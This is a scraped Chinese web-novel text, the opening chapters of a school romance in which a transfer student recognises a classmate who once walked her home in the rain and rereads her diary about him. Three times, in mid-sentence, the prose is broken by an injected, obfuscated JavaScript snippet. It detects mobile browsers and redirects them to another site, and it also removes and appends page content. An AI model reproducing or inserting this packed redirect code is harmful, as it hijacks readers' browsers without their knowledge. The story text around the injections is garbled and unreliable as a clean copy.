《暗恋多年的白月光向我告白了》 1. 谢惊洛 二零一三年的云城尚且还算四季分明,九月初的天气还带着盛夏过后的余热,哪怕空气中飘荡着一丝凉风,也对抱着一大摞书爬了五楼的于听眠起不了丝毫的缓解作用。 于听眠今年读高二,在此之前她一直在南城读书,今年因为父母的工作调动,她跟随着父母来到了这个陌生的城市,并于今日正式入读云城一中。 现在是下午五点,正巧饭点,教室里一个人没有,于听眠站在高二理一班的教室门口环顾了空荡的教室一圈,满意地点了点头,这样的环境对于她这种内向的人来说十分友好,不枉她专门挑着饭点的时间来整理东西,在很大的程度上避免了被人围观的可能性。 只是,唯一让她感到郁闷的是,她的教室居然在五楼。当她得知这个消息的时候心凉了半截,尤其是想到还要抱着书爬五楼她更是想当场昏厥。 一阵恍惚过后,于听眠认命地接受了这个现实,抱着书摇摇晃晃地爬上了五楼。 班主任在开学之前就安排好了座位,座位表贴在讲台。 于听眠光滑饱满的额头上沁出了汗水,稍稍打湿了了额前的碎发,随意束在脑后的马尾此时也变得有些凌乱,让她看上去略感狼狈。 教室的课桌上或多或少都堆放着一些学习物品,于听眠一时之间分辨不出哪个位置才是属于自己的,她靠在门框上喘了口气,决定不再考验自己眼力,老老实实地挪到了讲台上看座位表。 座位的布局分为四大组,于听眠目光在上面快速地浏览了一遍,很快就找到了自己的名字。 第三大组第五排左边,她的同桌叫唐思雨。 找完自己的名字后,她的目光在周围的名字上流转了一圈。 原本这个举动只是出于自身的一点小习惯,却不曾想确实看见了一个让她惊艳的名字。 第四大组第三排左边靠窗的位置,谢惊洛。 “谢……惊洛。” 她喃喃地重复了一遍这个名字。 谢惊洛。 惊洛。 看花东陌上,惊动洛阳人。 是个好名字。 于听眠想。 不过人家的名字再好听也不能缓解抱书久了后,手臂不可避免产生的酸痛感,于听眠感觉到自己的手臂已经开始微微发抖,不敢再在讲台上逗留,便飞快跃下讲台,来到自己的位置,将手中的那堆课本扔在了桌面上。 于听眠甩了甩酸软的手臂,无心整理凌乱的课本,只想先坐下歇会儿。 可就在她接触到椅子的那一瞬间,椅子发出了一声刺耳的咯吱声,与年久失修的木门推开时发出的声音如出一辙。 于听眠:“……” 不是吧? 于听眠内心有种不祥的预感,她不信邪地,试探性地又挪动了两下,伴随着她的动作,椅子也发出了两声连贯的咯吱声,仿佛在告诉于听眠,只要她敢动,它就敢响。 于听眠:“……” 于听眠从椅子上起来,盯着它默然许久,似乎是想到了什么,她弯下腰伸手轻轻一掀。 椅盖整个被掀了起来。 …… 很好。 于听眠面无表情的维持着掀椅盖这个动作,良久无奈地叹息一声,将人家放回原位,直起身子,一手叉着腰,一手撑在桌子上,食指有一下没一下地点着桌面,开始思考对策。 其实也不是不能坐,于听眠的适应能力还算不错,只是固定椅盖的螺丝掉了,但只要这椅架还好好的就塌不了,但问题是这破椅子一坐上去就咯吱咯吱响,不仅自己坐立不安,还会给周围的人带来困扰,她是个有原则的人,所以无论如何还是要换一张好的,至少不能影响他人。 但是换椅子的地方…… 和她领书的地方是同一个,在教学楼对面的体育馆一楼,两者之间隔了差不多竖放五个篮球场的距离。 也就是说她要抬着这张椅子经过五个篮球场去到对面体育馆,然后抬着新椅子再次经过五个篮球场,再爬五楼回到这个教室。 于听眠:“……” 其实原则底线也不是不能灵活一点。 开玩笑的。 于听眠将椅子拖出了过道,准备前往体育馆。 “需要帮忙吗?” 低而朗润的男声自身后传来,像是拂过冬雪的微风,清朗温和,飘飘然在于听眠心头划过,激起一阵涟漪。 一时之间竟是忘了反应。 等她回过神来,男生已经走到了她身边。 某种洗衣液清爽的气息扑鼻而至,强势地萦绕在于听眠的鼻息之间,她侧过头,看清了少年的身形和眉眼。 少年的身形高挑挺拔,犹如正在生长的白杨,抽枝拔节,宽松的校服穿在他身上意外的清爽,夕阳越过窗户偷溜进来,洋洋地洒在了他的身上,为他镀上了一层柔和的金边,狭长漆黑的眼眸里也好似盛着光,似乎多看一眼都会沉沦于其中。 对于听眠而言,少年人的面容并不陌生,与记忆中的模样相比没有太大的变化,只是她未曾想到,无数次寻找无果的人竟是在这里遇见了。 惊讶混杂着惊喜的情绪充斥着于听眠的内心,她居然盯着人家看了许久,等她意识到这个行为多有不妥时,连忙收敛了自己的目光。 好在少年并没有在意,他看了一眼于听眠手中的椅子,了然:“是椅子坏了?” “……啊,是的。”于听眠有些木然地回答。 “如果不介意的话可以先坐我的椅子,我刚好要去体育馆,可以顺便拿去换新的。”他说着,走到自己的位置上提了张完好无损的椅子过来,这个举动给于听眠看懵了一瞬。 意识到他在做什么后,于听眠连忙摆手拒绝,虽然这个提议她很心动,但她到底还是没有那么厚脸皮这样麻烦人家:“不用不用!这也太麻烦你了……” “没关系。”少年的嗓音淡淡的,并不觉得这是一件麻烦事,他看了一眼于听眠课桌上那堆凌乱的书籍,“刚巧顺路,你也可以节约点时间收拾东西。” 他这是看出来自己是刚来报道的了? 于听眠眨了眨眼,倏地觉得这一幕是如此熟悉,他好像总能在自己窘迫的时候及时地伸出援手。 “那……谢谢你了。”于听眠轻声道谢,将手中的椅子往他那边推了推。 少年伸手接过。 于听眠看着他的动作,抿了抿唇,内心挣扎了许久,但还是抑制不住自己想问出那句话:“你……” “谢惊洛——你人呢——我就上了个厕所你人就不见了?” 她的声音太小,门外的呼喊声太大,剩下的话还尚未问出口就被堵了回去,连已经说出口的“你”也被这道声音掩盖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059399|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 谢惊洛回头对着后门回应了一声:“教室。” 听到回应,教室后门冒出一个脑袋,他看见教室里的情景后,挑了挑眉,话语间多了份打趣的意味:“我说你人怎么不见了,原来搁这儿勾搭人家妹子呢。” !!! 于听眠脸颊骤然一热,好在爬了五楼脸上原本就带着红晕,此刻看不出什么端倪。 “胡说什么。”谢惊洛拎着椅子朝后门走去,对着后门的男生笑骂道:“嘴不会说话可以捐给需要的人,人家刚来报道椅子坏了,我顺手拿下去换新的。” “哦?我还以为你认识人家。” “人家才刚来我从哪认识去?” “……” 男生和他的同伴着朝楼下走去,笑闹的声音也一点一点远去,直到什么都听不见。 于听眠看着谢惊洛消失在拐角处,没由来地一阵难过。 虽然早有预感他已经忘记自己了,可在真的确认事实后,于听眠心底还是酸酸胀胀地泛起了一丝落寞,除此之外还夹带着一份庆幸,感谢他同伴的呼喊,没让她把“你还记得我吗”这句话说出来,不然要是看着对方疑惑的表情,她会想找个地缝钻进去的。 不过也不完全是难过的,至少过了那么久,她终于知道了他的名字。 谢惊洛。 果真是人如其名。 云城一中目前没有上晚自习的规定,走读生在下午放学后就可以回家,住校生则可以在校内自由活动。 于听眠收拾好自己的座位,带上两套试卷塞进书包就准备回家。 在走到一楼的时候,于听眠发现一群人围在一个公示栏前,在叽叽喳喳地,兴奋地讨论着什么东西。 好奇心驱使着于听眠也上去围观了一下。 是上学期的优秀学生表彰栏。 于听眠抬头看去,谢惊洛的照片高高挂在榜首,照片上的男生微微勾起唇角,笑得漫不经心,即便是高糊的照片质量也未能掩去少年出尘的气质。 “害,我就说第一肯定又是谢惊洛,毫无悬念的好吧?” “又是谢惊洛第一啊,我还以为方楚悦会有机会呢。” “还有二十几分的差距,机会有点小啊。” “啊啊啊啊啊啊谢惊洛真的太好看了——而且人还那么优秀,我真的是太喜欢他了——” “哎呀!讲这种!羞不羞!” “有什么好羞的,喜欢上那么优秀的人不是很正常的事吗?而且人家说不定都习以为常了,我们班就好几个胆大的准备去送情书了,要不是我胆子小我也去送一封了。” “你厉害,要是真的去记得带上我。” “你也有想法?” “不是,我只是想近距离膜拜一下学神。” “哎,你别说,谢惊洛和方楚悦这两人……不看其他,光看脸在一起真的是赏心悦目。” “……” “……” 于听眠耳边环绕着各式各样的话语,绝大部分都是围绕着榜首的少年展开,她站在人群中默默听了许久,从他们的话语中逐渐加深了对谢惊洛的了解,知道了他成绩优渥,常年雷打不动占据榜首;知道了他多才多艺,弹得一手好钢琴;知道了他待人温和有礼,是一中大部分女生暗恋或明恋的对象。 原来他是那样的优秀。 2. 需要帮忙吗 于听眠踏进家门时天色已经完全黑了下来,最后的一抹残阳被夜幕吞没之时,星星睁开了眼睛。 客厅的灯光亮堂,却空无一人,厨房里清脆地响着锅碗瓢盆碰撞时发出声音。 “妈妈?”于听眠朝厨房的方向喊了一声,无人应答。 没听见吗? 于听眠将肩上的书包卸下来,随手扔在沙发上,向着厨房走去。 她扒拉着厨房的门框冒出个脑袋暗中观察,果不其然看到了她亲爱的妈妈正在厨房里忙得热火朝天,锅中翻炒着一锅青菜,旁边的备菜桌上摆放着已经出锅的成品。 于听眠决定进去添添乱。 “亲爱的付女士,你的宝贝女儿回来啦。”于听眠说着,从橱柜里抽出一双筷子,洗净后来到备菜桌前,寻思着先向哪个小可爱下手。 付向晓睨了她一眼:“又在偷吃。” 于听眠夹了一块鱿鱼花扔进嘴里,被烫得直吸气,但嘴上还不忘反驳:“哪里的话,试试味道的事怎么能叫偷吃呢?” “好吃吗?” “人间极品。” “哼。”付向晓哼笑一声,懒得和她贫嘴,随意地转了个话题:“今天怎么那么晚才回来?” 说者无心听者有意,于听眠伸向炒牛肉的手微微一顿。 但很快她又面色如常地夹了片牛肉塞进口中,等咽下去之后才若无其事道:“在学校里面多逗留了一下,耽误了些时间。” 付向晓不疑有他,她点了点头,将炒好的青菜盛出来,关掉了煤灶的火。 见状,于听眠也放下了手中的筷子,回到橱柜前拿出三个碗准备清洗。 “拿两个碗就行了,你爸他今晚不回来吃。” “噢。”于听眠将其中一个碗放回原位,打开水龙头冲洗剩下的两个陶瓷碗,“爸爸他又不回来啊……” “嗯,最近有点忙。”付向晓摘下身前的围裙,洗净手之后拿干毛巾擦手:“刚搬过来这里,工作上有一大堆事要交接,这段时间是忙了些,过段时间就好了,算了不说这个了,倒是你,新学校怎么样?还适应得过来吗?” “唔……挺好的。”于听眠思虑了半刻,给出了个中规中矩的答案。 “那就好,我和你爸还担心你不习惯,平时下课没事就多在校园里走走,把学校走熟了,就容易适应了。” 于听眠对付女士的这个说法不置可否,但也没有要和她继续讨论下去的心思,只是略带敷衍地应和了一声:“昂。” 吃过饭,于听眠帮付向晓收拾好碗筷,洗了澡之后就拎着书包回了房间。 她将书包里的卷子掏出来放在书桌上,却没有立刻开始动手写,而是倒头就趴在桌面上开始回想晚饭前和付女士的对话。 把学校走熟了,就容易适应了。 话总是说得轻巧。 殊不知她的性格慢热恋旧,对新的环境、新的事物总是适应得很慢,虽然体谅父母的工作跟随着他们来到了这里,面上也与平常无异,但要说她内心毫无波澜那是假的。 搬家转学,就意味着她要与以往熟悉的生活割裂开来,然后强迫自己重新快速地融入一个新的环境,去处理新的事物、新的人际关系,这些事单拎一个出来都让她觉得头大。 以及……谢惊洛。 想起这个名字,一种莫名的情绪自心脏深处迸发而出,似无限生长的藤蔓,将她的心脏一点一点包裹,意料之外重逢的喜悦混合着被遗忘的失落,这种感觉复杂又酸涩,密密麻麻地笼罩在她心头徘徊不去。 于听眠长长地叹了口气,脑袋从臂弯中抬起,目光在桌面上摆放成堆的学习资料上扫视了一圈,在眼角余光略过一堆叠放在一起的笔记本时,她忽然间想起了什么。 她伸手朝旁边探去,拉开右手边,离墙壁最近的,最隐蔽的一个抽屉,从抽屉的最深处掏出了一个厚厚的本子。 是一本粉色封面的日记本。 翻开第一页,清秀俊逸的字体细细地记录着少女的心事。 2012年10月3日 天气:暴雨 今天下了好大的雨,差点回不来了,幸好有个好心的男生送我回来,他长得真好看!像画一样! 下车的时候还对我说了“路上小心”,他的声音也好好听! 虽然这么说感觉挺欠打的,但还是有点庆幸跑去那么远的书店,不然就遇不到那个男生了。 可惜的是我没敢问他名字(哭唧唧),更没敢问人家的联系方式…… 甚至还忘记了说谢谢!!! 啊啊啊啊啊啊啊于听眠你怎么还是那么胆小!! 不管了,下次见面一定要好好谢谢人家。 这篇日记右下角的空白处还画着一个可可爱爱的,白衣黑裤举着伞的小人。 看着青涩熟悉的文字,心绪在记忆的阀门前旋了几个圈,哗啦一下将闸门打开,沉淀已久的记忆再次涌上心头,虽不曾忘记,却依旧来势汹汹。 南城的天气多是阴晴不定的,你永远说不准上一秒晴空万里,下一秒会不会就是倾盆大雨,被坑过好几次的于听眠往常出门都会习惯性地带上一把伞以防万一,唯独今天不知为何下了公交车,走到了书店门口才想起来忘了带伞。 她抬头瞅了一眼艳阳高照的天空,犯了侥幸心理的毛病,思来想去,她决定赌一把今天不会下雨。 她内心安慰着自己,抬脚踏进了店门。 于听眠在学习区挑挑捡捡了好一会儿,挑出了两本心仪的习题册,一本蓝色一本红色,她粗略地翻看了一下里头的内容,两本难度系数差不多,各有优势,都很适合现阶段的她钻研。 她一手拿着一本来回看,犯了选择困难症,不是不能两本一起买,但问题是她还有其他要买的书籍,若是两本一起买了钱就不够了。 正当犯难之际,店主婆婆朝着她这个区域走了过来,于听眠起初并未在意,以为婆婆是惯例过来整理被翻乱的书籍,便往一旁挪了挪给婆婆腾了个位方便她整理。 直到她看到婆婆在书架上翻找一圈后走到了自己面前。 “?” 于听眠不明所以。 婆婆看了一眼于听眠手中的书,带着试探的口吻问道:“小娃娃,这两本书你都要买吗?” “啊,不是,我只想买一本,但还没想好要哪一本。”虽然不知婆婆怎么忽然来问自己这个,但于听眠还是如实回答。 说完,她想起婆婆在书架前翻找无果的情景,想到了什么,犹豫了一下也试探着问了回去:“是……其中一本是非卖品不能卖吗?” “这倒不是。”婆婆摇摇头,给于听眠解释着说:“有个小伙子想要一本同你手中蓝色那本一样的书,我给他找了一下,发现没货了,你手上那是最后一本,想着问你一下,如果你买的话我就和人家说没货了去。” 原来如此。 这不就巧了,刚好还在犹豫这就有人帮忙选了,于听眠眉梢轻扬,决定成人之美,她将蓝色那本习题册朝婆婆递了过去,只留下红色的:“那我要这本好了。” 小插曲一晃而过,待于听眠找齐需要购买的书籍,再次抬头看向门外时,却发现艳阳天不知何时被抹去了踪迹,天色肉眼可见地暗沉了下来,门外的落叶被强风卷起飘向未知地,像是暴风雨来临前的清场,没过多久,豆大的雨滴就密密麻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059400|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麻地落了下来,瞬间给世界笼上了一层模糊的屏障。 于听眠:“……” 好吧,她赌错了。 于听眠看了一眼墙上挂着的老式挂钟,现在是下午三点多,时间还早,南城的雨向来来得快也去得快,想来用不了多久就能停,就算满打满算它下满两个小时,她也能赶在六点之前坐公交车回家。 如此想着,于听眠放平了心态心安理得地走到了文学分区,拿起一本一般家长不让看的“文学作品”席地而坐,美滋滋地翻阅起来。 这种街边书店的“文学作品”种类总是要比一般书店的齐全,各种书籍的价格也更为实惠,还时不时能发现一些意想不到的好东西,比如上次就被她淘到了一本喜欢的漫画的作者亲签,实在是不枉她抛弃家门口的书店不去晕着车坐了好几站的公交车来到这里,虽然说今日的天气似乎不太美妙,但还算在可预测的范围内,问题不大。 于听眠如此想道。 然而,事实证明,人是不能当赌狗的,赌狗赌到最后一无所有。 下午五点,墙上的挂钟响了两轮,手中的书籍翻阅了一半有多,唯独门外的雨势丝毫不见要减小的意思,甚至愈下愈烈,颇有一种要下到天荒地老的意味。 于听眠内心终于产生了些微的焦躁感。 她从地上爬起,将手中的书平整地放回原位,拿起已经结好账的学习资料,走到大门处,看着不断从屋檐下低落的雨滴,眉头皱成一团。 倘若这雨再这般下下去,她肯定是赶不上最后一班公交车,但要是直接冲出去,这里离最近的公交站也还有十多分钟的脚程,而这周围最近的一家卖雨伞的店则是挨着公交站而建,等淋着雨上了车,浑身湿透的回了家,免不了又是一场感冒。 “小娃娃,还下雨呐,在店里坐会嘛,没那么快关门,现在出去淋了雨回家要生病的。” 店主婆婆心善,见于听眠站在门口处像是动了要冒雨冲出去的心思,赶忙喊住了她。 “好的,谢谢婆婆!”于听眠感谢婆婆的热心肠,心里却有别的盘算。 她将手伸进随身携带的挎包里,在里头摸索了一番,摸到了一个长方形的小物件。 是一台诺基亚手机。 彼时的智能手机还未流传至大街小巷,诺基亚依旧占据一席之地,付向晓夫妻俩工作忙,平日里难免有些地方顾不上于听眠,就也给她买了台手机,方便她有事打电话。 于听眠手指捏着手机,正想着要不要打电话给付向晓求助,但转念一想,都这个时间点了,倘若他们已经回了家,发现她不在家早就一个电话打过来了,根本轮不到她去打电话求助,至今没有动静只能说明他们又被工作上的事情困住,还没下班。 想到这里,于听眠犹豫了起来,挣扎着想到底是打电话还是直接冲去公交站坐上末班车。 刷—— 一辆黑色的轿车冲破雨幕从远处行驶而来,溅起一小片水花,慢慢停在了书店门口。 店里的顾客所剩无几,原先的顾客大多是看雨没有停歇的意思提前离开,或是早已被人接走,想来面前的这辆轿车也是来接人离开的。 这无形之中给于听眠多添了几分压力。 她闭了闭眼,微不可闻地叹息一声,将诺基亚从挎包中掏出来,解锁屏幕,按到联系人的页面开始寻找电话号码。 嗒嗒。 身后传来一阵不紧不慢的脚步声,起初于听眠并未在意,想着大概是面前这辆轿车要接的人走了出来。 直到脚步声停在了她的身旁。 不等于听眠反应,清朗的男声从耳畔响起。 “需要帮忙吗?” 4. 晚安,所有的一切 叮咚—— 手机铃声响起,思绪回笼。 于听眠拿过手机,发现是她在南城的好友苏然给她发了短信。 彼时□□正流行,大家几乎人手一个账号,于听眠虽然不感兴趣但也被苏然拉着注册了一个,只是她不喜社交,平时也就和苏然聊聊天。 [苏苏:宝啊——我的鱼宝啊——你在新学校还好吗——] “哼嗯~” 于听眠被那三个显眼的破折号逗笑了,想着她好友这性子是一点没变。 苏然是她在南城最好的伙伴,家住得近,又是同班,每天一起上学回家,不知不觉间培养出了深厚的感情,得知于听眠要转学的那刻她哭得稀里哗啦的,甚至试图和于听眠一起走,直到被她妈妈说了一顿才消停住。 [小鲤鱼:还好吧。] 她想了想,觉得这句话太抽象了点,于是又在手机的键盘上敲下一句话: [小鲤鱼:学校挺大的,离家近,班主任人也不错。] [苏苏:……就这些?说点实际的好吗,比如新同桌怎么样这些。] [小鲤鱼:没见到新同桌。] [苏苏:没见到?] [小鲤鱼:嗯,我下午才去的,赶上饭点,教室里没什么人。] [苏苏:咦~我还以为有帅哥呢。] 帅哥? 于听眠脑海里不知不觉又浮现出谢惊洛的身影。 [小鲤鱼:还真有一个。] [苏苏:!!!] [苏苏:真的?要联系方式没?] 书店的那次邂逅于听眠没跟任何人讲过,苏然不知其中的弯弯绕绕,只当她是看到了合眼缘的男生。 [小鲤鱼:……你看我是敢去要联系方式的样子吗?] [苏苏:也是哦,你能主动和人家说上话就算赢了。] [小鲤鱼:……你实在没事就退下吧。] [苏苏:哈哈哈哈哈哈好啦,开玩笑的,我还担心你会很难适应呢,人生地不熟又孤家寡人一个,但看样子好像也还好?] 还好吗?也不算,毕竟才一个下午,也分不出什么好坏,但好像也没想象中的那么糟糕,至少她从没想过会在这里再次遇到谢惊洛,这已经是很大的意外之喜了。 [小鲤鱼:还行吧,还是会觉得与这里有些格格不入,毕竟真的陌生,但感觉也没有预想中的糟糕,可能是因为见到能和帅哥同班的原因?] [苏苏:如果是那样也挺好,就当有个精神寄托了,不然我真的担心你会枯萎在那边,帅哥我是看不到了,你帮我多看两眼,先下了,我妈这个点也该来查房看我有没有在学习了,被她看到我在搞手机又要拿没收手机的事威胁我了。] [小鲤鱼:行,拜拜。] [苏苏:拜~] 帮她多看两眼帅哥?这都什么跟什么啊? 于听眠无奈摇头,被好友这么一打岔,她的心情似乎也好了不少,也不再纠结于谢惊洛不记得她这件事。 忘了就忘了吧,或许对他来说那个雨天送她回家只是举手之劳,并算不得什么,能重新遇见总好过像两条平行线毫无交集。 人总不能太贪心。 于听眠放下手机,翻过日记本的下一页。 2012年10月5日 天气:太阳非常大 下了两天的雨终于停了,我又来到这家书店了,今天天气非常好哦,下雨天我忘了带伞,结果晴空万里的天气带了,我也是服了我自己了,不过也不是没派上用场,至少还能遮阳。 其实该买的书都买了,来这里也没有什么事干,只是想看看能不能再遇到你,结果真的没遇到,有点小失落呢。 又翻过一页。 2012年10月7日 天气:阴天 今天是假期最后一天,明天开始上学之后就不能经常来了,毕竟这家书店离家里还是有一点点点点点远的。 今天还是没有遇到你,以后我也不能经常来了,那遇见你的机会是不是又小了一点? 其实想想觉得好奇怪,明明我们之间也没什么交集,甚至都没说过几句话,但就是莫名其妙有着想再见你一次的想法,可能是因为你那天送我回家我忘了和你说谢谢,所以总感觉有些不完整,觉得应该当面和你说一声? 大概是这样吧?(认真分析) 原本于听眠只是想着随便翻翻,但看着看着竟入了迷,将有关于谢惊洛的段落又重新看了一遍。 2012年11月17日 天气:好多云 时隔一个多月,我又来啦~ 其实这次来是来买书的,顺便看一下有没有好看的漫画小说,但因为某些小小的原因,我在书店里多待了一会儿,时间不长,也就从早上待到了下午嘿嘿~ 不过因为在看书的时候总是抬头看,被店主婆婆看见了,她问我是不是在找人,我说是,然后她问我在找谁,结果我卡壳了。 因为我也不知道你是谁。 所以我摇了摇头说我也不知道我在找谁,婆婆说我小脑瓜子看书看糊涂了。 嗯…… 好像是有点糊涂了。 …… …… …… 2013年8月1日 天气:大雨 这应该是我最后一次来这家书店了。 啊……也不能这么说,但至少短时间内我不会再来了,因为我要搬走了。 我要从南城搬到云城,去云城读书,几个小时的车程,以后再来这家书店就不知道是什么时候了,今天来是和婆婆道别的。 今天的天气似曾相识,也是出门时风和日丽,然后毫无预兆就下了大雨,只不过不同的是我这次带伞了,而你也没有出现。 可能以后也没机会再见面了吧?因为除了这家书店,我也不知道我还能在哪里见到你…… 哎呀,想想还真是有点遗憾啊。 …… 不得不说现实总是充满戏剧性的,找了快一年都没找到的人,一个月前还想着可能再也没机会见到了,结果一个月后的今天就见了,还成了同班同学。 真有意思。 于听眠有点哭笑不得。 有关于谢惊洛的内容停留在2013年8月1日,后面的几篇日记没再提起过他。 于听眠将日记翻到最新的一页,提笔落下文字。 2013年9月1日 天气:晴 今天是我来到云城一中的第一天,学校比南城三中的大一些,很陌生,走在里面总感觉随时会迷路,可能到时候多上几天学就没这个感觉了。 有点期待又有点忐忑,不知道我的新同桌是个怎么样的人,还没见到,因为我是下午才去报道的,人家应该去吃饭了。 还有,抱着书爬五楼是真的累,退一万步来讲,我就不能瞬移上去吗?或者是这些书懂事一点自己飞上去也行啊,真的是。 要说今天是什么感觉? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059402|194986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只能说糊里糊涂的,有点好,又有点坏,坏是还是感觉在一个新环境里会有窒息感,至于好嘛…… 说来我自己都不信,我在书店找了好久都没找到的男孩子居然在这里遇到了,而且还和他是同班同学,真是神奇,就像我天天失踪的橡皮擦一样,想找的时候怎么也找不到,一旦放弃了寻找了就自己出现了。 真是奇奇怪怪的。 而且他人真好!如果不是他把自己的椅子给我,我就要带着椅子爬上爬下了,那感觉想想就酸爽…… 而且我终于知道了他的名字! 谢惊洛。 一下子就想起了一首诗: 看花东陌上,惊动洛阳人。 是很好听的名字。 好吧,虽然他不记得我了有一点点难过,但想想能重新遇到就很好了,对吧? 所以开心一点啦~ 于听眠写日记向来主打一个随心所欲,属于没有构思想到什么就写什么那类,所以有时候看着感觉很跳脱,常常从一个话题眨眼就跳到下一个话题,而用她自己的话来说就是:反正日记是留给自己看的,又不是写作文,松弛一点无所谓。 哐哐—— 刚写下最后一句话,房门毫无预兆地被敲响,吓得她一个激灵,做贼心虚般迅速将日记本合上塞回抽屉里,紧接着扯过一旁的数学试卷飞快地在前几道选择题上胡乱填上几个ABCD假装自己在做题。 门外付向晓的声音透过门板传了进来:“眠眠,能听到吗?” “听到——怎么了——” “我泡了点牛奶,你要不要喝点?” 牛奶?她喜欢。 “我喝——” “那我进来了?” “行——” 嘎吱一声响,付向晓走了拧开房门走了进来,手里还拿着杯热腾腾的牛奶。 付向晓将牛奶放在于听眠的书桌上,看了一眼她手下压着的试卷:“在学习呢?” 于听眠心虚:“……昂。” 准确来说是在准备学习。 付向晓点点头,没说什么,只随口嘱咐了一句:“早点休息,别熬太晚了,身体才是最重要的,牛奶要趁热喝,别放凉了,对了,明天的早餐你想我起来给你做,还是你自己去买点吃解决?” “我自己去买吃的吧,你多睡会儿。” “那我明天将早餐钱放桌子上,你记得拿。” “知道啦,谢谢妈妈,mua~”于听眠笑嘻嘻地给了付女士一个飞吻,然后得到了一个嫌弃的眼神。 等人走了后,于听眠松了一口气,端起牛奶慢悠悠地喝了一口,一边享受着热牛奶入口时带来的香醇口感,一边修改自己刚刚乱填的选择题。 这些试卷是今天领书的时候一起领回来的,题型难度比南城三中的要高,于听眠一时间不太适应,写得慢了一些,等她写完两张试卷检查完毕后已经快十一点了。 她伸了个懒腰,揉了揉有些酸痛的后颈,将桌面上的笔纸收拾好装进书包,然后将空了的牛奶杯洗干净。 做完一切后她爬上了床,抱着床上一米高的玩偶熊亲了一口,和人家说晚安:“晚安亲爱的小熊,今晚也要做个好梦哦~” 按着熊的脑袋强迫人家点了两下头后她终于心满意足地闭上了眼睛。 晚安,所有的一切。 明天见。 希望明天是个好日子。 如果一出门就能捡到钱我想会更快乐的。 5. 自我介绍 叮铃铃——叮铃铃—— 又是一个清晨,朝阳自东方冉冉升起,给大地添上第一抹亮色。 闹钟孜孜不倦地响了五分钟后,于听眠终于带着一脸幽怨艰难地从被窝里爬了出来。 她伸手拍停了吵得正欢的闹钟,双目无神地坐在床上发呆。 所以人到底为什么要早起啊?还有早上好早上好,早上到底谁好。 发了几分钟的呆,于听眠终于不得不掀开被子下床,临走之前看了躺着的玩偶熊一眼,脸垮了下来,昨晚还叫人家亲爱的,今天就看人家不顺眼了:“我都起来了你怎么还在睡,不许睡,给我起来。” 她又走过去将人家提了起来,摆成了坐着的姿势。 “这才对嘛。” 她满意地拍了拍手,提起书包走出了房门。 时间尚且还早,付向晓还没起床,于听眠放轻了动作,安静地整理好后背上书包出了门,顺便在门口看了一眼。 好吧,果然没有钱。 从家里去学校的路程不长,步行也就不到二十分钟的时间,彼时朝雾还未散去,空气清爽异常,树上鸟儿的歌声清脆,路上行人一二,或行色匆匆,或悠然自在,街边的早餐店早已开始营业,升起了袅袅炊烟,路过的行人有的会在心仪的店前停留,时间紧迫的会匆匆忙忙打包一份带走,而时间富裕的则会细细挑选上一份钟意的早餐,在店里落坐慢慢享用。 于听眠很喜欢这段独自行走的路程。 目之所及,尽是人间百态。 于听眠在店里吃了份早餐花了点时间,等她来到教室门口时,里面已经坐了不少人。 她刚要跨进门的脚步顿了一下,思考了一秒钟后,果断掉头朝后门走去。 大约是心理作用,她总感觉后门的视野似乎更加开阔,以至于她一眼就看到了自己座位旁坐着个高马尾的女生,以及第四大组第三排左边靠窗的位置。 空的。 还没来吗? 不等于听眠多想,她的注意力就被她的新同桌吸引了过去,她走到座位旁放下书包,看见她的同桌正低头认真写着什么,额前的碎发散落下来,遮住了小半边脸颊。 于听眠没有立刻坐下,她在思考着要不要打个招呼,但对方看上去似乎有要事在忙。 只犹豫了片刻,对方就察觉到了于听眠这边的动静,抬起头来看她,恰巧于听眠的注意力也放在她身上,两人的目光一瞬间对视上。 于听眠觉得她的眼睛像两颗晶莹剔透的葡萄,水灵晶亮的。 “嗨!”对方率先笑着打了招呼,语气里满是热情。 “嗨……你好呀。”于听眠也抬手轻轻挥了挥回应对方。 “你好你好,你就是新转来的同学吧?我叫唐思雨,你叫什么名字呀?怎么站着呢?快来坐下啊!”唐思雨是个热情的性子,见人站着,便拍了拍于听眠的椅子示意她坐下聊。 于听眠顺势坐下,回答了她的问题:“我叫于听眠,于是的于,听见的听,沉眠的眠。” “于听眠?”唐思雨认真重复了一遍,“好的,我记住了,我的是唐朝的唐,思念的思,下雨的雨。” “我知道的。”于听眠微微笑道。 “你知道?”这回轮到唐思雨惊讶了。 “嗯。”于听眠点头,“昨天来收拾东西看座位表的时候看到了你的名字,就记住了。” “哎呀……”唐思雨捂着脸略感惭愧,“我也看座位表了,但没记住你的……” 说完,不等于听眠出声,她又想到了什么:“你昨天来收拾东西了?我好像没看见你啊?” “因为我是下午才来的,那时候是饭点,下午没什么人在教室。” “原来如此。” 